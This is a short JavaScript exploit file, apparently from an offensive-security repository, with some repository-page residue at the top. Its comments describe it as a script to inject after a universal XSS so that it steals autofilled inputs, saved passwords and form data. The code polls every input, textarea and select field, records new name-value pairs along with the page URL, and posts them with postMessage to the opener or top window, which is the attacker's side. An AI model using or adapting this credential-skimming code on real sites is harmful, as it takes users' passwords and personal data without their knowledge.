34 lines
1.2 KiB
JavaScript
34 lines
1.2 KiB
JavaScript
/* steal_form.js: can be injected into a frame/window after a UXSS */
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/* exploit to steal any autofilled inputs, saved passwords, or any */
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/* data entered into a form. */
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/* keep track of what input fields we have discovered */
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var found = {};
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setInterval(function(){
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/* poll the DOM to check for any new input fields */
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var inputs = document.querySelectorAll('input,textarea,select');
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Array.prototype.forEach.call(inputs, function(input) {
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var val = input.value||'';
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var name = input.getAttribute('name')||'';
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var t = input.getAttribute('type')||'';
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if (input.tagName == 'SELECT') {
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try { val = input.querySelector('option:checked').value }
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catch (e) {}
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}
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if (input.tagName == 'INPUT' && t.toLowerCase()=='hidden') return;
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/* check if this is a valid input/value pair */
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try {
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if (val.length && name.length) {
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if (found[name] != val) {
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/* new input/value discovered, remember it and send it up */
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found[name] = val;
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var result = { name: name, value: val, url: window.location.href, send: true };
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(opener||top).postMessage(JSON.stringify(result), '*');
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}
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}
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} catch (e) {}
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});
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}, 200);
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